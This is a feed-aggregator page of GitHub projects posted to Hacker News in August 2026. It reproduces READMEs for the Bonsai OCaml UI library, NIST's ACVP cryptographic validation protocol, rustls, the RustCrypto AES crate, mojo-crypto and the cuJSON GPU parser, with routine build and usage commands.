Roastidio.us in webspace https://github.com/

Celld: Self-hosted, distributed Durable Objects

Thu, 06 Aug 2026 17:25:38 +0000

Article URL: https://github.com/denoland/celld

Comments URL: https://news.ycombinator.com/item?id=49185430

Points: 260

# Comments: 46

jujutsu 0.44.0

Thu, 06 Aug 2026 17:25:34 +0000

Comments

schrodingers-toctou: The binary you run is not the program you wrote

Thu, 06 Aug 2026 17:25:34 +0000

Comments

Show HN: The Channels SDK – Bring Any Agent to Any Channel (Slack, MS Teams)

Thu, 06 Aug 2026 17:14:37 +0000

Article URL: https://github.com/CopilotKit/channels-sdk

Comments URL: https://news.ycombinator.com/item?id=49198583

Points: 37

# Comments: 5

Show HN: Wallfacer – A terminal session manager for Claude Code, and more

Thu, 06 Aug 2026 10:44:48 +0000

Article URL: https://github.com/pradipta/wallfacer

Comments URL: https://news.ycombinator.com/item?id=49192219

Points: 22

# Comments: 13

DeepSeek V4 Flash on a Single AMD MI300X

Tue, 04 Aug 2026 12:14:08 +0000

Article URL: https://github.com/ryanzhou/deepseek-v4-flash-mi300x

Comments URL: https://news.ycombinator.com/item?id=49166386

Points: 73

# Comments: 10

FFmpeg 9.0

Tue, 04 Aug 2026 12:14:08 +0000

Article URL: https://github.com/FFmpeg/FFmpeg/blob/n9.0/RELEASE_NOTES

Comments URL: https://news.ycombinator.com/item?id=49166202

Points: 240

# Comments: 45

AirLLM 70B inference with single 4GB GPU

Tue, 04 Aug 2026 01:17:33 +0000

Article URL: https://github.com/lyogavin/airllm

Comments URL: https://news.ycombinator.com/item?id=49154228

Points: 185

# Comments: 75

GitHub - janestreet/bonsai: A library for building dynamic webapps, using Js_of_ocaml · GitHub

Mon, 03 Aug 2026 12:10:11 +0000

Bonsai

Bonsai is a UI library for building performant, reactive web applications in OCaml, partly inspired by Elm. It is used to build almost all web applications inside Jane Street, everything from the corporate directory to tools that monitor and interact with our trading systems. A simple Bonsai component with a little interactivity looks like this:

module Dice = struct
  let faces =
    [ "⚀"; "⚁"; "⚂"; "⚃"; "⚄"; "⚅" ]
  ;;

  let component (graph @ local) =
    (* Components are implemented as purely functional state machines. *)
    let face, set_face = Bonsai.state (List.hd_exn faces) graph in
    (* Components are incrementally rendered, only when the relevant parts of the state change. *)
    let%arr face and set_face in
    {%html|
      <div>
        You rolled a #{face}
        <button
          style="" on_click=%{fun _ ->
            let index = Random.int (List.length faces) in
            set_face (List.nth_exn faces index)}
        >
          Roll the dice
        </button>
      </div>
    |}
  ;;
end

Most internal Jane Street web applications are built with Bonsai

Components are implemented as purely functional state machines, and are easily composable. Incrementalization inside the framework means that values don’t get recomputed until necessary. This applies to every value, not just the view.

Why Bonsai?

Other web frameworks tend to lump together state, incrementality, and rendering into a single abstraction, the UI component. By contrast, Bonsai allows you to compose state and incrementality primitives a la carte. The same primitives that prevent re-rendering the entire page during user interaction can also be used to incrementalize an expensive business logic computation on a live-updating dataset. (If you're used to React, imagine if everything used something very similar to hooks, and state was managed outside of the component hierarchy.)

Since state is not associated with explicit components, there is an extensive API for managing the lifecycle and scoping of state as users interact with the page. For instance, if you wanted to embed a collection of stateful UI components inside another UI component (in a tabbed interface, say), Bonsai will handle the state management for you instead of requiring that you manually hoist every internal component's state to the app's top-level model. For more examples of how state is composed, see this composition comparison written by the creator of Bonsai.

And because Bonsai is written in OCaml, it becomes possible to use the same language and types on both the backend and frontend. It's hard to overstate the impact this has on legibility and keeping a large web app's codebase manageable, especially when you make pervasive use of OCaml's type system to reduce errors. At Jane Street, many internal systems previously only had terminal UIs, and the framework has made it easy to port the existing types and business logic to the web.

Bonsai also comes with a powerful templating language, support for component-specific stylesheets, and a system for whole-app automated tests.

Expressive tests that save you from manually clicking through your app

One of Bonsai’s most powerful features is its ability to let you easily write realistic tests, in which you programatically manipulate UI elements and watch your DOM evolve.

In the following example, we’re testing the behavior of a user-selector. Whatever you type in the text box gets appended to a little “hello” message:

let%expect_test "shows hello to a specified user" =
  let handle = Handle.create (Result_spec.vdom Fn.id) hello_textbox in
  Handle.show handle;
  [%expect
    {|
    <div>
      <input oninput> </input>
      <span> hello  </span>
    </div> |}];
  Handle.input_text handle ~get_vdom:Fn.id ~selector:"input" ~text:"Bob";
  Handle.show_diff handle;
  [%expect
    {|
      <div>
        <input oninput> </input>
-      <span> hello  </span>
+      <span> hello Bob </span>
      </div> |}];

Notice that there are two expect blocks. (This allows you to make multiple assertions within a given scenario and to scope setup/helper code to just that scenario.)

The first makes our UI visible, and the second---which contains a diff---shows some behavior after you programatically input some text. Bonsai will even show you how html attributes or class names change in response to user input. Tests can include mock server calls, and can involve changes not just to the UI but to the state that drives it. With tests like these you can write an entire component without opening your browser.

Documentation

The Bonsai Quick Start and Thinking in Bonsai provide a hands on introduction to Bonsai and are the best places to start learning about it. There's also:

A series of how-to articles.
A short series of posts about Bonsai's history.
An episode of our Signals & Threads podcast about "Building a UI Framework." Another episode on "Building Tools for Traders" discussed some of the benefits of using Bonsai.
A library filled with example websites built with Bonsai.
API documentation can be found in the cont.mli file.

Bonsai is really a collection of libraries

Er, one wrinkle: Bonsai itself -- this library -- is actually more generic than the above makes it sound. It allows you to build general-purpose incremental, composable state machines. Bonsai_web builds on top of that core library, specializing it for interactive browser-based UIs, but we also have Bonsai_term for building interactive terminal-based UIs. There was even a prototype for April Fools' Day of Bonsai_vr for reactive virtual-reality UIs.

The full suite of Bonsai libraries:

General-purpose libraries

Bonsai is a library for building incremental, composable state machines.

Testing

Browser-based UI Libraries

Bonsai_web is a library for building interactive browser-based UI using bonsai.

Terminal-based UI Libraries

Bonsai_term is a library for building interactive terminal-based UIs using bonsai.

Pre-processors

Bonsai web applications often use the following preprocessors:

ppx_html is a preprocessor for writing HTML that is similar to JSX.
ppx_css is a preprocessor for writing CSS.

Rust project goals: Immobile types and guaranteed destructors

Mon, 03 Aug 2026 12:10:11 +0000

Article URL: https://github.com/rust-lang/rust-project-goals/blob/main/src/2026/move-trait.md

Comments URL: https://news.ycombinator.com/item?id=49152023

Points: 106

# Comments: 27

Show HN: Kakehashi – Experimental userspace to run macOS binaries on Linux ARM

Mon, 03 Aug 2026 03:39:43 +0000

Article URL: https://github.com/wie-project/kakehashi

Comments URL: https://news.ycombinator.com/item?id=49145937

Points: 186

# Comments: 40

Golang proposal: container/: generic collection types

Sun, 02 Aug 2026 18:20:37 +0000

Article URL: https://github.com/golang/go/issues/80590

Comments URL: https://news.ycombinator.com/item?id=49127031

Points: 184

# Comments: 190

qm – Multiplayer agent harness for work

Sun, 02 Aug 2026 18:20:37 +0000

Article URL: https://github.com/yc-software/qm

Comments URL: https://news.ycombinator.com/item?id=49126604

Points: 660

# Comments: 157

GitHub - usnistgov/ACVP: Industry Working Group on Automated Cryptographic Algorithm Validation · GitHub

Fri, 24 Jul 2026 18:42:46 +0000

ACVP

The Automated Cryptographic Validation Protocol (ACVP) is a protocol to support a new National Voluntary Laboratory Accreditation Program (NVLAP) testing scope at the National Institute of Standards and Technology (NIST).

The new testing scope, 17ACVT, is available, and defined in NIST Handbook 150-17.

All current information about ACVP protocol may be found within this Github project at https://github.com/usnistgov/ACVP. View the protocol documents at https://pages.nist.gov/ACVP/.

For issues regarding the actual ACVP Server implementation, as well as pre-release (demo) and release notes (prod), see the ACVP-Server repository: https://github.com/usnistgov/ACVP-Server/.

Background
How to use Metanorma
Objective
Project Goals
Status
Supported Algorithms
- Block Cipher Modes
- Secure Hash
- XOFs
- Message Authentication
- DRBG
- Digital Signature
- SP 800-56 Series Algorithms
- RFC 7748 curve25519 and curve448
- KDFs
- Safe Primes
- Conditioning Components
- Stateful Hash-Based Signatures
- Stateless Hash-Based Signatures
- Module-Lattice Algorithms
Accessing the Server
Contribution Guidelines
Related Projects
Licensing Terms

Background

The rapid development of cryptographic technology over the last two decades and its adoption in many different technology domains has resulted in a sharp increase in the number and complexity of approved algorithms. The volume of cryptographic algorithm validations has outstripped the available human resources available to test, report, and validate results. The plethora of different algorithms has created a dire need for consistent requesting and reporting of test data and results. We also live in times of unprecedented levels of threats and exploits that require frequent product updates to fix defects and remove security vulnerabilities, which in turn requires much faster turnaround of validation updates than what the existing validation model allows. See the NIST Automated Cryptographic Validation Testing project for broader context and information.

Requirements documents for the existing Cryptographic Algorithm Validation Program (CAVP) and the 17CAV scope can be found at https://nvlpubs.nist.gov/nistpubs/hb/2020/NIST.HB.150-2020.pdf. The requirements documents for the 17ACVT scope can be found on the same page.

General information about CAVP can be found at https://csrc.nist.gov/Projects/Cryptographic-Algorithm-Validation-Program with the CAVP management manual found at https://csrc.nist.gov/CSRC/media/Projects/Cryptographic-Algorithm-Validation-Program/documents/CAVPMM.pdf and the FAQ at https://csrc.nist.gov/CSRC/media/Projects/Cryptographic-Algorithm-Validation-Program/documents/CAVPFAQ.pdf.

How to use Metanorma

Using Metanorma is not required to view the documents in the GitHub repository. When changes occur, documents will automatically be built and deployed to https://pages.nist.gov/ACVP.

Metanorma is a library for writing standards. It can compile .adoc files into multiple common standards formats including the IETF's RFC format.

Use the instructions here to set up Metanorma: https://www.metanorma.org/install/

To compile an individual file, to make sure your gem versions are up to date run

gem install metanorma-cli

From there run

metanorma compile -t ietf -x html file.adoc

You can switch between -x html and -x txt for different RFC output formats.

If you make changes to a file that's referenced by a top level spec, run metanorma on the referenced file prior to running it on the top level file. E.g.,

metanorma compile -t ietf -x html symmetric/sections/04-testtypes.adoc
metanorma compile -t ietf -x html draft-celi-acvp-symmetric.adoc

Or you can use the Makefile which is available.

To build all documents, html and txt

make all

To build a specific file

make specific-file.html

To remove all xml, txt, html, err produces files,

make clean

Objective

The objective of this project is to define a protocol allowing independent implementation by all vendors participating in the NIST cryptographic validation programs (CAVP and CMVP) for accelerated test data generation and requisition, reporting of test results, and validation of NIST-approved cryptographic algorithms (see FIPS140-2 Annex A, Annex C and Annex D). For FIPS140-3, the NIST-approved cryptographic algorithms are defined in the SP800-140 Document Series.

Project Goals

The development of an Automated Cryptographic Validation Protocol (ACVP) that enables the generation and validation of standardized algorithm test evidence to facilitate the modernization of CAVP and CMVP.

Status

The demo server (demo.acvts.nist.gov) supports ACVP version 1.0. All endpoints defined in the protocol specification are available. Some additional endpoinds defined in https://github.com/usnistgov/ACVP-Server are also available but not considered part of this protocol.

The prod server (acvts.nist.gov) also supports ACVP version 1.0, with the same endpoints defined.

Supported Algorithms

Block Cipher Modes

AES-CBC - HTML
AES-CFB1 - HTML
AES-CFB8 - HTML
AES-CFB128 - HTML
AES-CTR - HTML
AES-ECB - HTML
AES-GCM - HTML
AES-GCM-SIV - HTML - DEMO only
AES-KW - HTML
AES-KWP - HTML
AES-OFB - HTML
AES-XPN - HTML
AES-XTS 1.0 - HTML - no longer supported by ACVTS
AES-XTS 2.0 - HTML
AES-FF1 - HTML
AES-FF3-1 - HTML - DEMO only
Ascon-AEAD128 - HTML
TDES-CBC - HTML
TDES-CBCI - HTML
TDES-CFB1 - HTML
TDES-CFB8 - HTML
TDES-CFB64 - HTML
TDES-CFBP1 - HTML
TDES-CFBP8 - HTML
TDES-CFBP64 - HTML
TDES-CTR - HTML
TDES-ECB - HTML
TDES-KW - HTML
TDES-OFB - HTML
TDES-OFBI - HTML

Secure Hash

Ascon-Hash256 - HTML
SHA-1 - HTML
SHA-224 - HTML
SHA-256 - HTML
SHA-384 - HTML
SHA-512 - HTML
SHA-512/224 - HTML
SHA-512/256 - HTML
SHA3-224 1.0 - HTML - no longer supported by ACVTS
SHA3-256 1.0 - HTML - no longer supported by ACVTS
SHA3-384 1.0 - HTML - no longer supported by ACVTS
SHA3-512 1.0 - HTML - no longer supported by ACVTS
SHA3-224 2.0 - HTML
SHA3-256 2.0 - HTML
SHA3-384 2.0 - HTML
SHA3-512 2.0 - HTML

XOFs

Message Authentication

DRBG

Digital Signature

RSA mode: keyGen - HTML
RSA mode: sigGen - HTML
RSA mode: sigVer - HTML
RSA mode: signaturePrimitive 1.0 (Component) - HTML
RSA mode: signaturePrimitive 2.0 (Component) - HTML
RSA mode: decryptionPrimitive 1.0 (Component) - HTML
RSA mode: decryptionPrimitive Sp800-56Br2 (Component) - HTML
RSA mode: legacySigVer - HTML
ECDSA mode: sigGen Component - HTML
ECDSA mode: keyGen - HTML
ECDSA mode: keyVer - HTML
ECDSA mode: sigGen - HTML
Deterministic ECDSA mode: sigGen - HTML
ECDSA mode: sigVer - HTML
DSA mode: keyGen - HTML
DSA mode: sigVer - HTML
DSA mode: sigGen - HTML
DSA mode: pqgGen - HTML
DSA mode: pqgVer - HTML
EDDSA mode: keyGen - HTML
EDDSA mode: keyVer - HTML
EDDSA mode: sigGen - HTML
EDDSA mode: sigVer - HTML

SP 800-56 Series Algorithms

Full KAS and KTS IFC Testing

Tests against shared secret computation (SSC), key derivation functions (KDF) or key derivation algorithms (KDA), and optionally key confirmation (KC). Test vectors issued under this set of tests (with the exception of 1.0 component based tests) are considered "full KAS" testing.

KAS SSC Testing

Standalone KAS SSC testing from SP800-56A/B. Can be used in conjunction with KDF/KDA testing and optionally key confirmation testing (as opposed to "full KAS" testing) to be considered a valid KAS implementation.

KDA Testing SP800-56Cr1/r2

Standalone KDA testing from SP800-56Cr1 or SP800-56Cr2. Can be used in conjunction with SSC testing and optionally key confirmation testing (as opposed to "full KAS" testing) to be considered a valid KAS implementation.

KAS KC Testing SP800-56

Standalone KAS Key Confirmation testing from SP800-56Ar3 and/or SP800-56Br2. Can be as a KC primitive validation as a part of a KAS validation.

KAS KC Sp800-56 (Component) - HTML

RFC 7748 curve25519 and curve448

KDFs

Safe Primes

SafePrimes KeyGen - HTML
SafePrimes KeyVer - HTML

Conditioning Components

Stateful Hash-Based Signatures

Stateless Hash-Based Signatures

Module-Lattice Algorithms

See the algorithm endpoint to learn which algorithms are available on a given ACVP server.

Accessing the Demo Server

To access the demo server one needs a TLS credential and a one-time password (OTP). The protocol specification and other development information are available in this repository. You may want to use the companion ACVP client to jump-start your work.

To set expectations, since this is a demo system, it will be in a state of flux and any all data on the system is considered temporary and may be reset to accommodate development of the Automated Cryptographic Validation Protocol (ACVP) service. We will try to keep the demo service relatively stable, but we plan to update it as we continue to add new algorithms and capabilities.

To access the prod server, first you must demonstrate compentency on the demo server. Then follow the instructions available at https://csrc.nist.gov/Projects/cryptographic-algorithm-validation-program/how-to-access-acvts.

Obtaining TLS credentials

To access the demo environment you will need to send your CSR to NIST. Please use a 2048-bit RSA key pair and sign using at least a SHA-256 hash. Please send the request to acvts-demo@nist.gov with 'CSR REQUEST FOR ACCESS TO DEMO' in the subject line. You will receive instructions for how to upload your CSR.

You are expected to protect the key pair from unauthorized use and to notify NIST in the event the keypair becomes compromised. Also, since we do not have a formal login page the following notice applies when accessing the ACVP system:

"***WARNING***WARNING***WARNING
You are accessing a U.S. Government information system, which includes: 1) this computer, 2) this computer network, 3) all computers connected to this network, and 4) all devices and storage media attached to this network or to a computer on this network. You understand and consent to the following: you may access this information system for authorized use only; you have no reasonable expectation of privacy regarding any communication of data transiting or stored on this information system; at any time and for any lawful Government purpose, the Government may monitor, intercept, and search and seize any communication or data transiting or stored on this information system; and any communications or data transiting or stored on this information system may be disclosed or used for any lawful Government purpose.
***WARNING***WARNING***WARNING"

Configuring and using One-Time-Passwords (OTP)

TOTP has been configured on all servers. See details here.

Renewing TLS credentials

Credentials are valid for a period of two years and will then expire. To renew your credentials, please send an email to acvts-demo@nist.gov with the subject 'ACVTS DEMO CREDENTIAL RENEWAL REQUEST' in the subject line. You will receive further instructions via email regarding the renewal process.

Contribution Guidelines

If you want to contribute, please follow the simple rules below and send us pull requests.

See Metanorma for installation instructions
Documents are templated out and organized into folders, find and edit the appropriate document and build the HTML or TXT file to ensure the changes are correct
Create a Pull Request with the updated ADOC files. GitHub Actions will verify the files can compile.
Once approved by a NIST member, GitHub Actions will rebuild the nist-pages branch to be reflected on https://pages.nist.gov/ACVP

If you would like to talk to our developers, you may want to send email to our mailing list cavp (at) nist.gov. You may also report bugs or request new tests.

Related Projects

ACVP Server (Release/Issue tracking for NIST's implementation of the ACVP protocol)
Automated Cryptographic Validation Testing
Cisco libacvp
Google Project Wycheproof
HACL*, a formally verified cryptographic library written in F*
Automated Module Validation Protocol
ACVP Proxy
ACVP Parser

Licensing Terms

This data was developed by employees of the National Institute of Standards and Technology (NIST), an agency of the Federal Government, in collaboration with third-party contributors. Pursuant to title 17 United States Code Section 105, works of NIST employees are not subject to copyright protection in the United States and are considered to be in the public domain. The data is provided by NIST as a public service and is expressly provided "AS IS." NIST MAKES NO WARRANTY OF ANY KIND, EXPRESS, IMPLIED OR STATUTORY, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT AND DATA ACCURACY. NIST does not warrant or make any representations regarding the use of the data or the results thereof, including but not limited to the correctness, accuracy, reliability or usefulness of the data. NIST SHALL NOT BE LIABLE AND YOU HEREBY RELEASE NIST FROM LIABILITY FOR ANY INDIRECT, CONSEQUENTIAL, SPECIAL, OR INCIDENTAL DAMAGES (INCLUDING DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, AND THE LIKE), WHETHER ARISING IN TORT, CONTRACT, OR OTHERWISE, ARISING FROM OR RELATING TO THE DATA (OR THE USE OF OR INABILITY TO USE THIS DATA), EVEN IF NIST HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

To the extent that NIST may hold copyright in countries other than the United States, you are hereby granted the non-exclusive irrevocable and unconditional right to print, publish, prepare derivative works and distribute the NIST data, in any medium, or authorize others to do so on your behalf, on a royalty-free basis throughout the world.

You may improve, modify, and create derivative works of the data or any portion of the data, and you may copy and distribute such modifications or works. Modified works should carry a notice stating that you changed the data and should note the date and nature of any such change. Please explicitly acknowledge the National Institute of Standards and Technology as the source of the data: Data citation recommendations are provided below. Permission to use this data is contingent upon your acceptance of the terms of this agreement and upon your providing appropriate acknowledgments of NIST's creation of the data.

Citation Format

Author/editor (Publication Year), Title, Publisher, Persistent Identifier (PID) or URL (Access date).

GitHub - rustls/rustls: A modern TLS library in Rust · GitHub

Fri, 24 Jul 2026 18:42:45 +0000

Rustls is a modern TLS library written in Rust.

Status

Rustls is used in production at many organizations and projects. We aim to maintain reasonable API surface stability but the API may evolve as we make changes to accommodate new features or performance improvements.

We have a roadmap for our future plans. We also have benchmarks to prevent performance regressions and to let you evaluate rustls on your target hardware.

If you'd like to help out, please see CONTRIBUTING.md.

The maintainers pronounce "rustls" as rustles (rather than rust-TLS), but we don't feel strongly about it.

Changelog

The detailed list of changes in each release can be found at https://github.com/rustls/rustls/releases.

Documentation

https://docs.rs/rustls/

Approach

Rustls is a TLS library that aims to provide a good level of cryptographic security, requires no configuration to achieve that security, and provides no unsafe features or obsolete cryptography by default.

Rustls implements TLS1.2 and TLS1.3 for both clients and servers. See the full list of protocol features.

Platform support

While Rustls itself is platform independent, it requires the use of cryptography primitives for implementing the cryptography algorithms used in TLS. In Rustls, a crypto::CryptoProvider represents a collection of crypto primitive implementations.

By providing a custom instance of the crypto::CryptoProvider struct, you can replace all cryptography dependencies of rustls. This is a route to being portable to a wider set of architectures and environments, or compliance requirements. See the crypto::CryptoProvider documentation for more details.

Cryptography providers

Since Rustls 0.22 it has been possible to choose the provider of the cryptographic primitives that Rustls uses. This may be appealing if you have specific platform, compliance or feature requirements.

From 0.24, users must explicitly provide a crypto provider when constructing ClientConfig or ServerConfig instances. See the crypto::CryptoProvider documentation for more details.

First-party providers

The Rustls project currently maintains two cryptography providers:

rustls-aws-lc-rs - a provider that uses the aws-lc-rs crate for cryptography. While this provider can be harder to build on some platforms, it provides excellent performance and a complete feature set (including post-quantum algorithms).
rustls-ring - a provider that uses the ring crate for cryptography. This provider is easier to build on a variety of platforms, but has a more limited feature set (for example, it does not support post-quantum algorithms).

The Rustls team recommends using the rustls-aws-lc-rs crate for its complete feature set and performance. See the aws-lc-rs FAQ for more details of the platform/architecture support constraints in aws-lc-rs.

See the documentation for crypto::CryptoProvider for details on how providers are selected.

(For rustls versions prior to 0.24, both of these providers were shipped as part of the rustls crate, and Cargo features were used to select the preferred provider. The aws-lc-rs feature was enabled by default.)

Third-party providers

The community has also started developing third-party providers for Rustls:

boring-rustls-provider - a work-in-progress provider that uses boringssl for cryptography.
rustls-ccm - adds AES-CCM cipher suites (TLS 1.2 and 1.3) using RustCrypto, for IoT/constrained-device protocols (IEEE 2030.5, Matter, RFC 7925).
rustls-graviola - a provider that uses graviola for cryptography.
rustls-mbedtls-provider - a provider that uses mbedtls for cryptography.
rustls-openssl - a provider that uses OpenSSL for cryptography.
rustls-rustcrypto - an experimental provider that uses the crypto primitives from RustCrypto for cryptography.
rustls-symcrypt - a provider that uses Microsoft's SymCrypt library.
rustls-wolfcrypt-provider - a work-in-progress provider that uses wolfCrypt for cryptography.

See the Making a custom CryptoProvider section of the documentation for more information on this topic.

Example code

Our examples directory contains demos that show how to handle I/O using the stream::Stream helper, as well as more complex asynchronous I/O using mio. If you're already using Tokio for an async runtime you may prefer to use tokio-rustls instead of interacting with rustls directly.

The mio based examples are the most complete, and discussed below. Users new to Rustls may prefer to look at the simple client/server examples before diving in to the more complex MIO examples.

Client example program

The MIO client example program is named tlsclient-mio.

Some sample runs:

$ cargo run --bin tlsclient-mio -- --http jbp.io
HTTP/1.1 200 OK
Date: Tue, 23 Jun 2026 16:13:40 GMT
Content-Type: text/html; charset=utf-8
Connection: close
(...)

Run cargo run --bin tlsclient-mio -- --help for more options.

Server example program

The MIO server example program is named tlsserver-mio.

Here's a sample run; we start a TLS echo server, then connect to it with openssl and tlsclient-mio:

$ cargo run --bin tlsserver-mio -- --certs test-ca/rsa-2048/end.fullchain --key test-ca/rsa-2048/end.key -p 8443 echo &
$ echo hello world | openssl s_client -ign_eof -quiet -connect localhost:8443
depth=2 CN = ponytown RSA CA
verify error:num=19:self signed certificate in certificate chain
hello world
^C
$ echo hello world | cargo run --bin tlsclient-mio -- --cafile test-ca/rsa-2048/ca.cert --port 8443 localhost
hello world
^C

Run cargo run --bin tlsserver-mio -- --help for more options.

License

Rustls is distributed under the following three licenses:

Apache License version 2.0.
MIT license.
ISC license.

These are included as LICENSE-APACHE, LICENSE-MIT and LICENSE-ISC respectively. You may use this software under the terms of any of these licenses, at your option.

Project Membership

Code of conduct

This project adopts the Rust Code of Conduct. Please email rustls-mod@googlegroups.com to report any instance of misconduct, or if you have any comments or questions on the Code of Conduct.

block-ciphers/aes at master · RustCrypto/block-ciphers · GitHub

Fri, 24 Jul 2026 18:42:45 +0000

Search code, repositories, users, issues, pull requests...

Clear

Search syntax tips

Appearance settings

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert

Uh oh!

There was an error while loading. Please reload this page.

RustCrypto / block-ciphers Public

Notifications You must be signed in to change notification settings
Fork 151
Star 774

Expand file tree

aes

Copy path

Directory actions

More options

Directory actions

More options

Latest commit

History

aes

Copy path

Folders and files

Name		Name	Last commit message	Last commit date
parent directory ..
benches		benches
src		src
tests		tests
CHANGELOG.md		CHANGELOG.md
Cargo.toml		Cargo.toml
LICENSE-APACHE		LICENSE-APACHE
LICENSE-MIT		LICENSE-MIT
README.md		README.md

README.md

Outline

RustCrypto: Advanced Encryption Standard (AES)

Pure Rust implementation of the Advanced Encryption Standard (AES).

This crate implements the low-level AES block function, and is intended for use for implementing higher-level constructions only. It is NOT intended for direct use in applications.

Security

⚠️ Warning: Hazmat!

This crate does not ensure ciphertexts are authentic (i.e. by using a MAC to verify ciphertext integrity), which can lead to serious vulnerabilities if used incorrectly!

To avoid this, use an AEAD mode based on AES, such as AES-GCM or AES-GCM-SIV. See the RustCrypto/AEADs repository for more information.

USE AT YOUR OWN RISK!

Notes

This crate has received one security audit by NCC Group, with no significant findings. We would like to thank MobileCoin for funding the audit.

All implementations contained in the crate are designed to execute in constant time, either by relying on hardware intrinsics (i.e. AES-NI on x86/x86_64), or using a portable implementation based on bitslicing.

License

Licensed under either of:

at your option.

Contribution

Unless you explicitly state otherwise, any contribution intentionally submitted for inclusion in the work by you, as defined in the Apache-2.0 license, shall be dual licensed as above, without any additional terms or conditions.

You can’t perform that action at this time.

GitHub - Mr-Leshiy/mojo-crypto · GitHub

Fri, 24 Jul 2026 18:42:44 +0000

Search code, repositories, users, issues, pull requests...

Clear

Search syntax tips

Appearance settings

Mr-Leshiy / mojo-crypto Public

Notifications You must be signed in to change notification settings
Fork 0
Star 2

Mr-Leshiy/mojo-crypto

Branches Tags

Open more actions menu

Folders and files

Name		Name	Last commit message	Last commit date
Latest commit History 74 Commits 74 Commits
.claude/skills		.claude/skills
.github/workflows		.github/workflows
benchmarks		benchmarks
docs		docs
mojo_crypto		mojo_crypto
tests		tests
.gitattributes		.gitattributes
.gitignore		.gitignore
CLAUDE.md		CLAUDE.md
LICENSE-APACHE		LICENSE-APACHE
LICENSE-MIT		LICENSE-MIT
README.md		README.md
modo.yaml		modo.yaml
pixi.lock		pixi.lock
pixi.toml		pixi.toml
scell.cue		scell.cue

Repository files navigation

mojo-crypto

Cryptographic primitives implemented in Mojo, with portable software backends alongside hardware-accelerated (ARMv8 Crypto Extension, x86 AES-NI/PCLMULQDQ) and GPU implementations.

Documentation

Full API documentation is published at https://Mr-Leshiy.github.io/mojo-crypto/, generated from the source with Modo. Build it locally with pixi run docs.

Modules

aead — Authenticated Encryption with Associated Data (AES-GCM, AES-GCM-SIV etc.).
block_ciphers — block ciphers (AES etc.) and modes of operation (CTR, CBC etc.).
universal_hashes — universal hash functions (GHASH, POLYVAL etc.).
hashes — cryptographic hash functions (SHA-2, SHA-3 etc.).
macs — message authentication codes (CMAC, HMAC etc.).
containers — supporting containers and encodings (hex).

Requirements

pixi — manages the Mojo toolchain and dependencies

Commands

pixi run fmt         # format all Mojo sources
pixi run test        # run the test suite (requires a GPU)
pixi run bench       # run the Mojo benchmarks (requires a GPU)
pixi run bench-rust  # run the Rust reference benchmarks
pixi run docs        # build the API documentation site

About

mr-leshiy.github.io/mojo-crypto/

Topics

cryptography mojo mojo-lang

Resources

Readme

Activity

Releases

Contributors

Languages

You can’t perform that action at this time.

GitHub - AutomataLab/cuJSON: cuJSON: A Highly Parallel JSON Parser for GPUs · GitHub

Fri, 24 Jul 2026 18:42:44 +0000

cuJSON: A Highly Parallel JSON Parser for GPUs

cuJSON is the world's fastest JSON parser, running entirely on your GPU. Forget the old idea that GPUs can't handle complex data parsing—cuJSON proves them wrong. It's built from the ground up to be super parallel, making quick work of everything from validating your data to figuring out its structure.

The result? cuJSON absolutely flies, leaving other top-tier CPU and even existing GPU parsers in the dust. If you're dealing with tons of JSON data, cuJSON is designed to eliminate that bottleneck and speed things up dramatically.

📝 Table of Contents

About
Publication
Datasets
Getting Started
Integrating cuJSON into Your Project
Query Iterator

🧐 About

JSON (JavaScript Object Notation) data is widely used in modern computing, yet its parsing performance can be a major bottleneck. Conventional wisdom suggests that GPUs are ill-suited for parsing due to the branch-heavy nature of parsing algorithms. This work challenges that notion by presenting cuJSON, a novel JSON parser built on a redesigned parsing algorithm, specifically tailored for GPU architectures with minimal branching and maximal parallelism.

cuJSON offloads all three key phases of JSON parsing to the GPU: (i) UTF validation, (ii) JSON tokenization, and (iii) nesting structure recognition. Each phase is powered by a highly parallel algorithm optimized for GPUs, effectively leveraging intrinsic GPU functions and high-performance CUDA libraries for acceleration. To maximize the parsing speed, the output of cuJSON is also specially designed in a non-conventional way. Finally, cuJSON is able to break key dependencies in the parsing process, making it possible to accelerate the parsing of a single large JSON file effectively. Evaluation shows that cuJSON not only outperforms highly optimized CPU-based parsers like simdjson and Pison but also surpasses existing GPU-based parsers like cuDF and GPJSON, in terms of both functionality and performance.

✍️ Publication - cuJSON

This repository contains the official source code for the cuJSON paper. All figures and benchmark results presented in the publication can be fully reproduced using the code provided here.

Ashkan Vedadi Gargary, Soroosh Safari Loaliyan, and Zhijia Zhao. 2025. CuJSON: A Highly Parallel JSON Parser for GPUs. In Proceedings of the 31st ACM International Conference on Architectural Support for Programming Languages and Operating Systems, Volume 1 (ASPLOS '26). Association for Computing Machinery, New York, NY, USA, 85–100. https://doi.org/10.1145/3760250.3762222

For detailed instructions on how to replicate the experimental results and figures from the paper, specially for research purposes and comparison, please refer to the paper_reproduced/ directory.

Additionally, all the scripts are available at paper_reproduced/scripts/readme.md.

📂 Datasets

Two sample datasets are included in the dataset folder. Large datasets (used in performance evaluation) can be downloaded from https://drive.google.com/drive/folders/1PkDEy0zWOkVREfL7VuINI-m9wJe45P2Q?usp=sharing and placed into the dataset folder. Each dataset comes with two formats:

For JSON Lines, use those datasets that end in _small_records.json.
For Standard JSON, use those datasets that end in _large_record.json.

🏁 Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

Prerequisites

g++ (version 7 or newer),
the CUDA toolkit (release 12.1 or newer; also validated with CUDA 13.3),
an NVIDIA GPU with compute capability 8.0 for the commands below, and
a 64-bit Linux system with a command-line shell.

Building and Running the Examples (Standard JSON)

Follow these steps to compile and run the cuJSON examples:

Clone the Repository (if you haven't already): First, get a copy of the cuJSON project:

git clone https://github.com/ashkanvg/cuJSON
cd cuJSON

Compile main.cu (Standard JSON Parsing), check notes for more details:

nvcc -O3 -std=c++17 -arch=sm_80 main.cu -o cujson_standard.out

Run (Standard JSON Parsing): Once cujson_standard.out is compiled, you can execute it. We've included example JSON files in the dataset/ folder for your convenience, check notes for more details about what datasets should you use.

./cujson_standard.out ./dataset/twitter_sample_large_record.json

Building and Running the Examples (JSON Lines)

Follow these steps to compile and run the cuJSON examples:

